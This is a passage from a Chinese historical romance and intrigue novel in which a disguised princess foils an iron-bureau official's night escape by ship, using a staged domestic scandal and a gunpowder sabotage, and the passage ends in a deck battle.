荣宗阙只着一身单衣，盘膝坐于洞开的窗前，“如你所言，我已告知独孤氏初十那日提刀。不过…”他一停，“我瞧她镇定得很，只说定不会误了时间。”
荣龄袖着双手，盖一张虎皮毯，“我说…你就不能待我走了再顶风调息，我常年在南漳领的兵，不经冻！”
荣宗阙眼白一轮，荣龄看在还要借东风的份上，不再抱怨。
她紧贴火墙取暖，说起正事，“文秀去方家船坞下定，欲赁个位置卸货。伙计直言有大主顾包圆了船坞，因而不接散船的单子。若不急，可月半后再去。”
荣宗阙缓缓吐息，阴沉道：“如此说来，独孤氏一行出逃定在十一月初十至十五之间。”
此前，荣龄反复思考，总觉得巴图林欲舍弃一切与春芳私奔，绝不可能单单受情爱驱使。
她一一排除不实际的猜想，终将怀疑投向仅剩的一处——许是独孤氏已觉察到危险，因而她歇斯底里地制出一真一假两批镔铁刀，预备将疵货交给荣宗阙后，携带真刀与一众属僚自海路南逃前元。
只有这样才能解释她愈发疯狂、不知遮掩的言行——冒险给予文氏三成镔铁单子、叫王序川运来远超往年所需的生铁，更不用说反常地驱使镔铁局上下昼夜赶工…
说到这，荣宗阙又想起一事。
“独孤氏在保州根基深厚、眼线众多。为不叫她起疑，我初十取了镔铁刀便要离开。”荣宗阙起身，取过一盏雪水啜饮，“你若与她动手，能否独自撑过两刻钟？——可供数千京南卫藏身的地方不多，最近的要在卧佛山。”
荣龄却笑，反问道：“谁说我要在方家码头动手了？”
荣宗阙茶盏一停。
荣龄老神在在，往东一指，“二殿下说的卧佛山在大清河东十里，另有一座立佛山与之相峙。二山一高一矮，正如一立一卧二佛相对说法。因两山离得极近，双佛口河面狭窄，最宽处不足五丈。”
见荣宗阙仍面有忧色，她继续道：“自然，水战绝非上策。一来咱们手中无船，二来京南卫多是旱鸭子…可那卧佛山下恰有一道深入大清河的险滩供人落脚，若逼停船队——他们往前是京南卫的剑刃刀锋，往后只有冰冷的大清河水。”
荣宗阙打断她，“虽是好计谋，但如何逼停船队？我可听说，文氏借运来镔铁矿石之机带了一只高五丈、长十余丈的福船，那船刀枪难入，绊索难缠。若没有神机营的火炮，谁能奈何？”他问道。
荣龄起身，拥着虎皮毯走近，“单凭外力自不可能逼停福船。可它若坏在腠理呢？”她低下嗓音，“例如方家码头恰生了一场混乱，有几人又趁乱上了船。二殿下猜猜，福船东行的路上，是否便会突然坏了？”
荣宗阙垂眸看她一眼，问道：“谁去？”
荣龄指了指自己，“自然有我。”她又补充道，“若以身手论，我还想带上与你交过手的阿卯。你要是不放心想留个眼线，我也可带上赫哲。”
荣宗阙略沉思——这三人，分别代表南漳、太子与他…
眼下他尚能信几分荣龄，可若叫东宫之人知晓太多，隐患实在无穷。
他微眯眼，冷冷道，“阿木尔，你莫将水搅浑。”
闻言，荣龄半步不让，“二殿下，当锦州军中出现镔铁刀疵货，当前元军手执不知何处得来的镔铁刀砍杀南漳三卫时，这水早浑了。”
荣宗阙叫她说得语塞，“我已说了，此事我会给你们交代。”
荣龄却摇头，语有双关道：“南漳三卫的债，我会亲自讨要。”
再回镔铁局已是下晚时分，天光暗得不见十步外的人影。
刚过宝瓶门，荣龄撞上行色匆匆一人。
是春芳。
“惊蛰，你可吓死我了！”她一手拍胸口，另一手背到身后。
暗光中，她神情紧张，似怕荣龄追问她去做什么、手中又藏了何物，因而她抢先发问：“你今日告假去了哪里？又去见婶子了？婶子可有事？”
荣龄望向春芳的目光很深，但沉默一息后她终没说什么，只道：“婶子无事。春芳姐，我有些累，先回屋了。”
春芳求之不得，伛起的身影消失在黑暗中。
荣龄看向她离开的方向——是巴图林的小院。
宝瓶门后是一条长长的甬道。夜雪莹莹而落，衬在深沉的青砖上，如一幅皴笔过多的卷轴。
没几步，甬道一侧的小门又撞出一人，荣龄本能地推开，又在心中纳罕，今日邪门了，怎的个个都往她身上撞？
谁知，天昏地暗间，那人先认出她，他哑声道：“是我。”
荣龄侧首，目光沿着衣袍攀到他模糊的面容。
王序川往前一步，“郡主，”他的声音又低又哑，“可否带我离开此地？”
这是五日前的不欢而散后，荣龄头一次再见王序川。
与往日清冷得有几分出尘不同，是夜的他如滚着熟水的茶铛，甫一走近便带来蒸腾的热气。
荣龄望向他额间的细汗，奇道：“隆冬腊月，你怎的了？”
王序川只苦笑，“此间并非解释的良机…”
似为印证他的话，不远处传来纷乱的脚步。
荣龄权衡片刻，最终拉过他，纵身没入隔壁院中。
那院中叠了一丛不知何处购置的太湖石，粗劣得很，可其中有一处中空的间隙，正是藏人的好去处。
二人方在间隙落定，甬道处传来一道幽媚的女声。
“王员外？”是独孤氏。
荣龄的后腰紧贴一处凸起的太湖石，她脖颈后倾，尽可能避开眼前湖色的衣襟。
可二人藏身之处狭得很，便只面对面站立，也难免衣袖相挨、呼吸相缠。
王序川略为粗重的呼吸扑在荣龄耳畔，一时急、一时缓。
没多会，她只觉自个耳根烫得紧。
“王员外，你吃多了酒，不若今夜就在我那儿歇了？”独孤氏仍未离去。
荣龄猛地抬眼，直直看向王序川。
他站得靠里，整个人融入太湖石浓黑的影中，只一双惯来清湛的眼，泛着有些过盛的水光。
他迎着荣龄的目光，分毫不避。
一时间，这处隔绝的空间中仅余急促的呼吸与如鼓的心跳。
“我…”王序川方欲解释，视野之中的人影却忽地放大。
下一瞬，一只并不柔腻的手心捂上他的唇，瘦
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劲的身躯也随之贴近。
专属于这熟悉又陌生之人的气息盈鼻时，王序川脑中的弦“啪”地一声，断了干净。
荣龄一面狠狠捂住王序川的鼻息，一面凝神细听一院之隔的动静。
那头的独孤氏似注意到雪地中戛然而止的脚印，她隔着方窗试探唤道：“王员外，你可是找不到路迷去了旁的院中？”
黑暗中传来鞋履与积雪摩擦的声音，她在一步一步迈近。
荣龄只怕她耳力卓绝如飞鼠，能隔墙听见王序川粗浅的呼吸。
于是，她手下力道更甚。
王序川很快因透不上气而挣扎起来。
荣龄不耐地往前一步，将他压制在自个与假山石壁间。
幸而独孤氏在武艺上的道行绝比不过荣宗阙，她盘桓半晌，未再听见响动，于是悻悻离去。
又过一会，确认周遭已无其余人，荣龄终于松开手。
她这才发现，二人如今的情形怎“暧昧”二字了得？——王序川叫她捂得后仰在石壁，她则整个人扑上前，与之几乎叠在一处。
荣龄倥偬八载，见过天地，常伴生死，却独独不曾有处理男女之事的经历。
她交合几番眼睫，忽地站直身子。
“我…”轮到她欲解释。
可下一瞬，王序川撑着石壁追近，一道潮湿的热意伴随淡得几无痕迹的桃花香扑到荣龄面上。
她一愣。
然而，在两唇相贴的最后一息，王序川猛地转过头。
溽热的唇擦过荣龄耳畔，将之也染得滚烫。
可此刻的荣龄顾不上其他，她转身拨开王序川的直缀，贴近去嗅那丝若隐还现的桃花香。
时间在黑暗中失去衡量。
不知过去多久，一只潮热的手扣上荣龄下颌。
那手微微用力，迫使荣龄与它的主人视线相交。
“郡主非要见我出丑吗？”他哑声问道。
“不是…”荣龄语塞。
两道灼亮的目光下，她只觉热意自耳畔燎原，爬满整颊整面。
“我许是中了春香。”
“你可是闻了桃花味的香？”
二人几乎同时开口。
片刻后，王序川率先答道：“是，独孤氏屋中确燃的桃花香。”
他缓缓道来方才的遭遇。
今日前来，他本为探知独孤氏出逃的具体时日。
独孤氏的口风虽紧，可在王序川的多番刺探下，终吐露出“十一月十三怕是不妥，不若你早一日来见我？”
王序川心头一松。
可这一松便坏了事。
没多会，他忽觉一股热意直往身下而去。
他闷下几口凉茶仍不可解。
或许是眼昏得厉害，他只觉独孤氏满面怅惘，虽坐在近处，可细看来，却远横隔生死。
“你与他可真像…”朦胧中，独孤氏慢慢走近。
王序川一怔。
可伴随独孤氏的柔荑抚上他的面容，王序川再无暇细想——他咬破舌尖挤出一丝清明，又匆忙打翻茶碗，借口解手遁出门来。
如今叫荣龄一问，他才回过神，原来那桃花香便是春香。
可他细细一想，仍觉不对。
“我申时初入独孤氏院中时，屋中已燃起香，可直至方才我才觉察不妥。若一样春香需个把时辰才能起效，这会否慢了些？”
荣龄也想起自个曾在长春道道观闻到的桃花香——那香味浓郁、霸道，虽叫人头疼而神思迷蒙，却绝无催情之效。
难道是她弄错了？
“你可吃用了什么？”她问道。
王序川回忆道：“用了一只牛乳糕，饮了几杯茶。”
“许是吃食掺了东西。”荣龄猜测。
再想过几轮，二人仍无头绪。
不过伴随王序川逃出莫闪居，问题的答案也似乎变得没有意义。
不多时，二人走出假山。
夜雪的清寒在一瞬间带走方才因密闭空间而磅礴许多倍的热意与暧昧。
“王大人，可需我送你回去？”荣龄问。
王序川苦笑着摆手，“郡主，今日你还是离我远些的好。”
他望向荣龄，抬起手，却又放下。
“郡主的头发乱了。”他道。
荣龄摸了摸蓬起的发髻，当是方才的你来我往间弄散的。
“我…我知晓了，你快回吧。”她又觉面上有些热。
“嗯。”王序川颔首。
走过几步，他又停下，“郡主，待此间事了，我有话与你说。”他回过头，目光坚定而缱绻，“十一月十三那晚，郡主定要当心自个。”
18. 出逃（一）
这场雪又落了十余日。
直到十一月十三的下晚，呜咽朔风忽止，晦暗的天也似被临时堵住窟窿，不再没止歇地扬下雪。
酉时末，更夫刘老二如惯常出门。
只见他提一只磕出几个破角的气死风灯，跛脚行在街巷。
他一路走，一路絮絮念道：“小老儿的膝盖骨肿得比火烧西施的胸脯还高，可疼死我了！这断命的雪，你别再下咯！”
蹒跚走过阳水街，刘老二好奇地看向四门紧合的惠安楼，“哟！邪门了，今晚惠安楼歇这么早？”他奇道，“往日可要闹过子时，一直到天明也有。”
可他并未深思，仅有的心思随着前行的脚步在脑中轻慢淡去——也是，老爷们的事，哪轮得到他刘老二多嘴？
他闷一口葫芦中的浑酒，又往大清河畔走去——
等到巡完方家码头一带，他就能如戏台上的老将军“解甲归田”，回自个的破茅屋打盹。
想到这，他跛行的脚步都变得轻快。
然而，当刘老二从阳水街拐进烟袋巷的一瞬，他忽觉后背没来由地一凉，像有人把脚下的积雪团成圆圆厚厚的一张饼，紧紧贴在了他的脊骨。
刘老二走惯夜路，见过一些神神鬼鬼。
因而，他小心止步，只伸长胳膊，将气死风灯送往三尺之外。
可灯只散出一圈黯淡的晕，不仅没照出前头的路，反显得巷中更加深黑。
就在这时，半空忽然升起一只血红的灯笼。
刘老二的身上霎时冒出一层密密的白毛汗
他双眼圆瞪，张嘴既要呼救，又想求这索命的游魂放了他——他一个老而无用的老鳏夫，魂灵没有二两重，即便吃了也硌牙。
可他的嗓子眼却因极度惊惧，只发出“嗬嗬”的闷响。
然而，就在他快吓得尿溺，“游魂”却开口说话：“谁瞎了眼往里头闯？”“游魂”嗓音粗砺，像一把呲了弦的胡琴，“镔铁局办事，你若还要命，就立即转回去。”
一旁的小吏提着灯笼走近，“贺大人，是打更的刘老二。”他认出因惊惧而佝偻着发颤的鳏夫。
“老子管他是刘老二还是王老三，要误了事，一概提头来见。”贺方自暗处走出。他一手提在腰前，指头上的鸽血红戒指在暗光下幽微如鬼眼。
刘老二当然听过只认财神，阎王老子来了都不管的金水局管事贺方的大名。
他终于找回声音，打着颤道：“大人，小老儿什么都没看见，这就回去了，这就回去！”
说完，他乌七八糟地转过身，认半天才认出自个来时的路。他打起精神，忙一脚深一脚浅地离去。
等到了烟袋巷与阳水街的交口，刘老二见离得远了，便可劲地鼓起勇气，向刚才的回转之地望去——烟袋巷恢复幽深浓黑，它尽头的方家码头也不见光亮。
“不是说镔铁局要办事，怎的没个动静？”刘老二喃喃道。
可下一瞬，他呼了自个一个巴掌，“叫你瞎看，叫你胡乱琢磨。爷爷们的事你懂个驴蛋子！”
他又揉了揉面皮，终于哼着一句“解甲归田谢应酬”离去。
谋划着“解甲归田”的不止更夫刘老二，还有又隐回暗处的金水局管事贺方。
他捏着那枚鸽血红宝石戒指，将之自左至右转三圈，稍停后，又反向转了三圈。
“你们在此等着，方才独孤大人吩咐我一桩要事，我这会紧着去做。”他终于下定决心，吩咐道。
其余人自不会也不敢起疑，他们目送贺方如刘老二一般，消失在烟袋巷与阳水街交口。
今夜的阳水街虽不如往日灯火通明，可比起不见五指的烟袋巷，却仍明光如白昼。
行走其间的贺方生出几分重回人间的心有余悸。
他袖着手走得飞快，只想尽早赶到花楼，与香暖的姑娘畅叙枕间事。更要紧的是，要叫人知晓他贺方，今日并不在方家码头。
想到这，贺方冷笑。
独孤氏还真以为他只将心眼埋进钱串中，是个十足的颟顸之人。
可她忘了，贺方在镔铁局资格最老，比她自个、比巴图林都要来得早。
经他之手磨洗的镔铁刀数难胜计，他只需上手一摸，便能知晓手中的刀是真是赝。
这些年，独孤氏与巴图林瞒着他制出不少赝刀。
他以为他们遵赵氏号令，因而不曾过多言语。
可最近，这二人太过反常。
起先是王序川与文平昌的接连中筹，随后是日夜赶工远超往年数量的镔铁刀疵货，直到前儿二殿下忽至镔铁局押送为江南水军定制的镔铁刀…
每一桩事若单独瞧，只些微地反常，可桩桩件件一串联…贺方不得不多想。
更何况春芳这个蠢女人偷偷变卖自个并不丰盈的家财——他可知道，春芳与独孤氏最信重的巴图林有私情…
这一切的一切叫他困惑，也叫他心惊、警觉。
他虽不知独孤氏意欲何为，可他直觉，这事，他掺和不起。
于是，贺方决心避一避。
若独孤氏事成，他顶多没有功劳，若事败…他便救了自个一命。
贺方一面想，一面加快脚步往花楼而去。
似为印证贺方的不安，他走后不久，烟袋巷与阳水街的交口处闪过重重人影，下一瞬，纷乱的脚步响彻巷中。
红皮灯笼再次亮起。
可这一次，它尚未照明来人，挑灯的老桃木便没来由地“咔嚓”一响，折了两半。
灯笼滚落，烧穿竹骨与血红的灯笼皮。
借着这一簇不大不小的邪火，拦路的镔铁局小吏终于认出领头的妇人。
“嫂…嫂子？”
妇人手执一柄寒光闪闪的狼牙棒，冷声道：“不想死就让开。”
小吏们谨记独孤大人“不可叫任何人靠近”的吩咐，他们虽怕得很，却仍未让出路，“嫂子有何事？前头独孤大人有要事…”
可他没说完，妇人身旁黑影一闪，匠人只觉腹下一股大力传来，再回神之际，他已重重跌落在地。
如他一般的匠人零落哀号，妇人却已领着或持棍棒，或执刀枪的一行人往“不可叫任何人靠近”的方家码头行去。
春汛未至，大清河水位不高。
一截长长的跳板一头连着方家码头，一头搭在高大的福船船腹。
春芳回过头，远望她生于斯、长于斯的保州城。
尽管一切都笼在黑暗中，她仍能清楚地认出，城东最高处是城隍庙中的戏台，每逢初一月半，梆子声滴溜圆转，直传出三里之外。尚有一分光亮的是阳水街，那里有酒菜最贵
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的惠安楼、滋味最好的饼店，还有琳琅迷人眼的首饰店、绣衣铺子…可阳水街是保州的脸面，却不是她这样的人该去的。
视线再往西，“大梁第一利刃”镔铁局如沉睡的巨狮暂卧在大清河之畔。这里是她，是阿夏，是杏花婶子，还有惊蛰，是无数在卑贱中不甘死去，在绝望中不止哀号的女人最后的喘息之处。
可今日，她将要告别它，或许是永久地告别它。
巴图林虽说过，他们总会回来。可春芳知道，即便日后再回来，那时的春芳再不是如今的她，那时的镔铁局也早已更换主人，淡去熟悉的印记。
那时的相见不是重逢，而是最后的告别。
因而，春芳想再多看它一眼。
“独孤大人已上船了，咱们也该走了。”巴图林劝道。
春芳低低应一声，在巴图林的搀扶下走上跳板。
很多年以后，当院中的梨花白了又落、落了又开，当春芳一头乌黑的发变得花白，当她颤巍巍地捧出家中存了好久的芝麻糖分给偶然走错来到她的小院的幼儿时，春芳想，那或许是她最接近幸福的一刻。
可也只是接近，她从没有实在地拥有过。
“专勾人汉子，遭千人骂、万人骑的臭biao子，还敢往哪里跑？”高亢的唳骂如暗夜的一声巨雷，忽地响彻忙而不乱的方家码头。
随之而来的是半官半民的一队人。
不知谁燃起火炬，幽微的火光照亮当中的一位妇人时，春芳的双腿如遇水的纸棍，一下便溶了、软了。
“完了，都完了。”她喃喃道。
巴图林如一尊铁塔挡在春芳身前。可他再神勇，也抵不住江秋棠如愤怒的母狮一般又扑又打——她自小长在镖局，一身功夫叫身为总镖头的父亲练得精粹。
若用上全力，巴图林并不怕她。
但江秋棠双眼发红，豆大的泪伴着拳头一齐落在他身上。巴图林架着她的手不觉就短了力气。
江秋棠狠狠一擦眼泪，她愈战愈勇，沿着码头与福船之间的跳板，将这对狗男女推搡到了甲板。
依照原先的安排，独孤氏由秀儿陪着先上了福船。码头剩余的装卸由巴图林收尾。
可如今巴图林自身难保，码头上的其余人群龙无首，江秋棠身后的镖师与程子衣府兵没费多少功夫，便紧随她上了甲板。
福船之上自不如码头散漫，江秋棠一行很快叫人团团围住。
人群之中，她挺直脊背。
“巴图林，当年我父亲行镖救了重伤的你。我江家早言明，不是挟恩图报之辈，你爱回哪回哪去。是你自个说看上了我，要入赘我家。”随着她说话，其余人声渐止，唯余浩浩江水偶有微鸣，“我信了你。”
她猩红的眼中又有泪落下，“嫁给你后，我既要行镖，又要做好你的夫人，做好孩子们的母亲，我没喊过一个累字…可你这样对我？”
巴图林沉默着，不敢直视。
但这沉默在江秋棠眼中却是抵抗，是挑衅，“巴图林！”她架起手中的狼牙棒，直向他面门掠去：“你要带着她去哪里？你若还剩一分骨气、一点脸面，怎能动家中的一分银钱？”
此言一出，围观的不论是江秋棠这头的镖师，还是巴图林那头的文氏之人俱哗然。
喁喁私语在人群间蔓延。
19. 出逃（二）
一片混乱之际，一只青花杯自高处掼下。碎瓷四溅，惊得众人连连后退。
这时，一道向来轻妩，此时却冷厉的声音在高处响起。
“何事喧闹？”
江秋棠停下攻势，急怒之下，她的气息虚浮，“独孤大人，我也要问问你，你要带这对没心肝的狗男女逃去哪里？你们镔铁局的寡妇没了男人是可怜，但再可怜也不该去抢别人的！”
话音刚落，人群之中一道着靛青曳撒的身影向前一步，“独孤大人，某乃北直隶巡按御史冯宝大人行前左判官岳棋。”他拱起手通报家门，“民妇江秋棠夤夜击鼓，状告其夫——亦是镔铁局冶火局之管事巴图林偷盗钱银五千余两。独孤大人知晓的，巴图林官属八品，当由冯大人监察。”
他停了停，又微微颔首，似对空口说出巴图林的重罪而感到抱歉，“自然，冯大人并不信。但江秋棠言之凿凿，冯大人也不可平白断定她是诬告。还请独孤大人行个方便，由岳某带巴图林管事去寻个清白。”
冯保？
那可是东宫的人…
独孤氏心中转过几道，“岳判官，此间怕有误会。”她自二楼舱室走下，字斟句酌道，“巴图林随我出门乃奉二殿下之命，至于去何处，做何事…抱歉，我不便说。”
冯宝既受东宫驱使，那他就不会知晓二殿下这方的安排——独孤氏赌的便是他的不知情。
果然，岳棋对此未有异议，“如此，那民妇诬告的嫌疑便更重了。”他拱手道。
这本是官场的场面话，江秋棠却当了真——
一面是丈夫的背叛，一面是官官相护反诬陷于她，她心中的怨愤如一柄烧得红亮的镔铁刀，直刺五脏六腑。
“你们不能…你们怎能？”她的脸上一瞬通红，又一瞬转为煞白，几番变幻后，她忽地扔下手中的狼牙棒，只执袖中的一柄粗劣的镔铁匕首，“这把镔铁匕首是你入镔铁局后锻制的第一把刀，也是你我的定情信物，”她抚过刃尖，任锋利的刀锋划出指腹的一道血痕，“如今，我用它杀你！”
江秋棠的招式再不如之前的留有三分余地，而是招招凌冽，直往巴图林的要害刺去。
巴图林徒手招架，很快被刺伤数处。
镖师们见状也群情激奋地动起手来。
甲板上乱成一片。
眼前的乱局叫独孤氏生出隐隐的不安——怎会这般巧，岳棋偏在此时抓人？
但她游走刀尖之上，见惯了变故。
因而她并未立刻慌张，只装作忍怒的模样，质问道：“岳判官，你是特意带这妇人来撒泼的？此事便等我们回来再议！如今二殿下有令，子时前必须启程。不然，我担待不起，便是岳判官，也难逃干系！”
她的目的明确——带上心腹与几船镔铁刀离开保州才是正事。
但岳棋没叫她吓住。
他面上温和，态度却坚定，“依大梁律，若有状告七品以下官员的，巡按御史需在三日内结案。独孤大人与巴图林一去一回，时间怕是不够。更何况大人已亲在船上，多个少个巴图林怕是不紧要的。大人…何必为难我，又为难自个？”
独孤氏眼神微沉，在心中怒骂道：好个难缠的判官！
可待转过百道心思——
冯保不仅代天子巡查四方，更是青宫门下红人，他如今只是依律来拿个八品小官，为的还是偷盗银钱这样的小事，她若百般推阻…岂非太过反常？
她忽地清醒，不行，她不能因小失大！
独孤氏银牙暗咬，终于道：“好，巴图林你们带走！”随后，又面向混战一处的人群，“至于这帮乌合之众，给我拿下！”
随她令下，镔铁局与巡按御史府兵齐齐动手。
杀红眼的江秋棠与血痕斑斑的巴图林很快叫人分开。其余镖师也被擒住双手，按在墙上。
“巴图林，你随岳判官去巡按御史府说清楚，该还的还，该清的清。事了后，你自个想办法滚过来。”独孤氏冷冷道。
巴图林听明她话中的意思，沉默着点了点头。
“慢着，”却是江秋棠开口，她狠狠一指春芳，“这个贱妇呢？若不是她，巴图林绝不会抛妻弃子…”
独孤氏的耐心却到了尽处。
她冷冷一横眼前威猛中夹带狼狈的妇人，“你状告的是巴图林偷盗钱财，与春芳何干？是春芳指使的？还是她吃用了你的银钱？”
她问一句，脚下往前迈一步，“你字字句句说他二人要私奔，可有证据？”
她再往前，“倘若巴图林回去，给你找出那五千两银钱，江氏，届时判你个诬告朝廷命官，你可知是何罪？”
江秋棠被问得没主意，她一时看巴图林，又一时看春芳。
见她不再说话，岳棋也不多事——偷盗钱财还算个正经的罪名，至于巴图林是与这个女人相好还是要与另一个女人过日子，那不归巡按御史管
没多时，岳棋领着人下船。
远眺他们消失在茫茫夜色中，独孤氏松一口气。
然而，就在她准备回到二楼的舱室时，春芳忽地跪倒。
她紧抱住独孤氏，求道：“大人，求求你大人，让我下船吧。我不去了，巴图林不走，我也不走！我要去陪着他！”
独孤氏垂眼看着泪如雨下的春芳，失望地问：“春芳，当初你为何要跟了巴图林？你一开始就知道，他有夫人、有孩子。”
刚才的一切像一阵大风，瞬间刮去春芳强撑的体面——
原来，人前勤勉、热心的她这样不要脸，竟做了勾引人夫，与人私奔的丑事。
可她再管不了其他。
她不知道福船要去哪里，但她从巴图林遮掩的言语中猜到，那个地方远在天边，若只凭巴图林一人，一路必定是九死一生。
与其活着却不能再相见，春芳宁可与巴图林在保州遭人唾骂。
她哭求道：“大人，我太苦了，谁都看不起我，我只想找个人说说话。大人你让我去找他吧！”
回应她的只有一记响亮的耳光。
独孤氏抓着她耳后的发迫使她抬起头来。
“我告诉你春芳，谁都能看不起你，但你自个不能！”她怒其不争，“巴图林也好，你往后遇到的任何一个男人都好，他们从不是你的依靠！这些叫人高兴的玩意，若让你舒坦，你便多留几日，若惹了你，就一脚踢开。”
春芳被这离经叛道的话惊住。
半晌，她眨了眨眼，一滴冰冷的泪自眼角滑落，“可是大人，
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我不是你…”
“但你可以成为我。”这是独孤氏留给春芳的最后一句话。
大清河水碧波清漾，载着福船悠悠东去。
与舱外的水冷风凄不同，二楼舱室安适馨香。
“春芳去歇着了，”秀儿端来一盏安神的汤药，“她脑子笨，大人别与她计较。”
独孤氏正半卧于榻上，她往榻外倾身，深嗅香盘中点燃的桃花味塔香。
随着烟气钻入鼻中，她慢慢卸下劲来。
再过一会，独孤氏吐出长气，她既像问秀儿，又像自问：“我常想你们像我一般，可真过上我的日子，便就好吗？”
“大人为何这般想？”秀儿不解道，“大人是司主座下的花神主，再没人比你更威风了！”
独孤氏笑了笑，但因屋中光线稀缺，她的笑中涵义难辨，“花神主…是啊，花神主。”
“大人，别叫春芳的事坏了兴致。巴图林没了虽可惜，可到底没惹出其他事。司主大业要紧。”秀儿见她意志有些消沉，劝道。
巴图林没了虽可惜…
听到这，独孤氏神情一顿。
是啊，虽然可惜，但损失一个巴图林绝不是她，也绝不是花间司无法接受的损失。
既如此，难道他于巡按御史，于东宫便是不可或缺之人？
既如此，岳棋怎的咄咄逼人，拼着得罪二皇子也要拿他归案？
当真是他们秉持一颗昭昭之心，要为江秋棠讨回公道？
她不信！
一定有哪里不对！
她快速回想方才的每一幕画面。
忽然，独孤氏猛地坐起。
她想到了！
是岳棋的目的不对！
他摆在明面上的目的是捉拿巴图林，可他的言行举止却无不透露着，他并不在意以何名义带走他——他不管巴图林有否偷盗银钱，也绝口不问独孤氏本要带着他去往何方…
他只要带走他。
既然巴图林并没有叫东宫一脉非捉他不可的价值…
这是否说明，他们的目的其实不在于带走巴图林，而在带走他的过程本身！
是了！定是这样！
岳棋如完成既定的程式来到方家码头，来福船之上走一遭…
在秀儿担忧的目光中，独孤氏奔向房门，“快叫人核对登船人数。有人混进来了，不论货舱、密舱，都仔细去找…”
她终于想通，逮捕巴图林只是故布的迷魂阵，利用的是人之本能——不论她带了何等好手，不论船上布防如何缜密，但每个人都有窥私欲。
而这窥私欲既是本能，也会是破绽。
一旦船上诸人叫巴图林的私情吸引，有心之人便能在乱局中混入福船。
而这，才是岳棋一行真正的目的！
至于独孤氏，她虽不好奇于巴图林与春芳的私情，可她急于离开保州。
设局之人笃定，她在这最终目的的引诱下只会陷入灯下黑——她的心思叫是否要放弃巴图林充斥，其他可疑之处自然就被忽略。
这设局之人究竟是谁？竟能这般敏锐地探知、利用人心。
独孤氏话未说完，窗外传来沉闷的爆破。伴随飞溅的浪涛与木骸，船身猛地一歪。
20. 落水
荣龄正急速奔跑在下舱室通往甲板的窄道。
这是自卧底镔铁局以来，她最兴奋的一刻——从设局告知江秋棠巴图林与春芳的私情，到引导她递交状告；从岳棋恰到好处地在福船即要起锚时截住巴图林，再到他几次激怒江秋棠，成功登上福船…
一切环环相扣，往荣龄设想的行进——除了爆破时的意外。
方才，三人潜入底舱，意外发现底舱之下仍有一层中空的隔舱。
阿卯轻扣，“惊蛰娘子，若不撬开将火药塞下去，怕是炸不穿。”
赫哲自小长在草原，虽勉强学会游水，但对船只的建造一窍不通，“这是什么鬼把戏？为何空着一层不装货？”他不解问。
荣龄也不明白。
她想，若小时候遇到的阿蒙哥哥在便好了。他有一箱杂书，专讲楼阁车船的营造法式。他若在，定知道福船为何这般构造。
不过，这念头只在脑中转了一瞬便自觉散去。
此时没有阿蒙哥哥，只有荣龄自个。
她很快打定主意，“行，撬开板子，将身上的火药都丢下去。”
猛烈的爆炸撕开静默的大清河。
待烟尘散去，阿卯自掩体钻出，他撩着火种一照，倒吸一口凉气：“这又是什么？！”
爆炸的气浪顶翻一小半底板，露出下头如鱼骨复杂的隔舱板。隔舱板互不透水，隔出十余个独立的密舱。
而因隔舱板的阻挡，火药仅毁去船艏的三个密舱。
冰冷河水涌上，水汽很快消散爆炸带来的热浪。
船舱中又冷至冰点。
荣龄在冰寒中快速思考眼前的变故。
或许因想起了阿蒙哥哥，她的脑海中忽然浮现一段儿时的对话。
“阿木尔，行船最怕什么？”
“怕船坏了，怕漏水！”
“没错，阿木尔真聪明！”
最怕…漏水？
荣龄脑中忽地灵光一现。
她在紧张中混杂兴奋，“我知道了，福船航行远海，最怕船壳受损。因而造船时，船工便将最末的一层封作水密舱。可若只是一个囫囵的密舱，一处渗水，整层仍会浸入水中。是故，他们又借用隔舱板将一整个水密舱隔作独立的多处。因互不透水，即便一两处有损，其余的仍能正常使用。如此，福船就有充足的浮力到达下一靠岸点。”
“即便一两处有损…”因船艏密舱进水，福船变得前重后轻，赫哲努力保持自身的平衡，“说得不就是现在！咱们岂非白忙活了？”
荣龄在想清福船的构造时已发现当下的棘手，“火药都用完了？”
“一点不剩！”阿卯答道，“惊蛰娘子，现下怎么办？”
是啊，怎么办？
火药因福船意外的结构并未一击即中。眼下，船工正快速下行，若他们在短时内补全底板，福船渗水的危机即可暂解。
如此一来，在双佛口阻击独孤氏的计划便要落空…
纷乱的脚步越来越近，留给荣龄的时间只在毫厘。
她猛地吸入几口夹杂火硝与水腥味的空气，闭目片刻。
越是危急，便越要冷静，周遭定还有可为己所用的条件——这是南漳王教会荣龄的头一样领兵之法。
凭借它，荣龄无数次反败为胜。
她想，这一次也不会例外。
“去甲板，卸帆！”下一息，荣龄睁眼，简短道。
“是！”
“好！”
不知不觉间，阿卯与赫哲早已信服于她，事事由她指令。
再奔过一道矮门，三人骤然出现在甲板。
江风迎面扑来的同时，刀光也至鼻尖。
荣龄还未看清那星寒芒，身体便已本能跃起。刀尖堪堪擦过腰间，竟发出金属摩擦的啸响。
待她再次舒展身体，手中已如变戏法般持一柄软剑。
阿卯紧跟着踢翻那人，赫哲则手中刀光一闪，取了那人的命。
江天一色的黑幕下，软剑如灵蛇狂舞，溅出霜雪一般的银光与红梅一样的鲜血。
荣龄三人且战且进，很快便至头桅底座。
她快速打量联接桅杆与风帆的绳索，思考截断哪截绳索便可放倒整面大帆。
这时，与桅杆垂直的一截横木印入眼帘——那上头缠满麻绳…荣龄一喜，以破竹之势一剑劈裂被船工称为缭绞车的横木。
绳索散落，洁白的头帆如一片巨大的花瓣凋零。
“拦住他们，他们定还要毁了主桅与尾桅。”有人反应过来，忙招呼其余同伴。
三人很快被团团围住。
他们后背相贴，呈一枚三角锋矢警惕戒备。
对峙中，柁楼传来冰冷的视线与问话：“你究竟是何人？我以为你当真是个可怜人，待你不薄。”
荣龄抬头，直视独孤氏，嘲道：“可惜了，我与独孤娘子既有新仇也有旧恨，你的些许恩惠，消解不了既往的仇怨。”
独孤氏蹙眉，回忆究竟何时、何地戕害过这个在脑海中绝无印象的女人。“在此之前我从未见过你。”
荣龄点头，“确实，我与独孤娘子缘悭一面。可那又如何？”
独孤氏也颔首，“确实，那又如何。”她眸中一利，厉声道，“抓住她，生死不论。”
语落，甲板上人影翻飞。
独孤氏手中私兵虽多，但荣龄三人也是军中难逢一敌的好手。
双方缠斗多番仍又僵持。
福船兀自前行，很快便能望见双佛口。
阿卯于打斗中远眺——立佛山与卧佛山沉默静立，其间的双佛口如深渊等候途径的猎物。
“惊蛰娘子，快至双佛口了。”他有些急。
荣龄一面辗转腾挪，一面向二人打出手势。
恰逢私兵攻势逾猛，三角锋矢的阵型终被拆散。
因独孤氏的一句“生死不论”，落单后的荣龄成为众矢之的。
又一批私兵如潮水涌来。
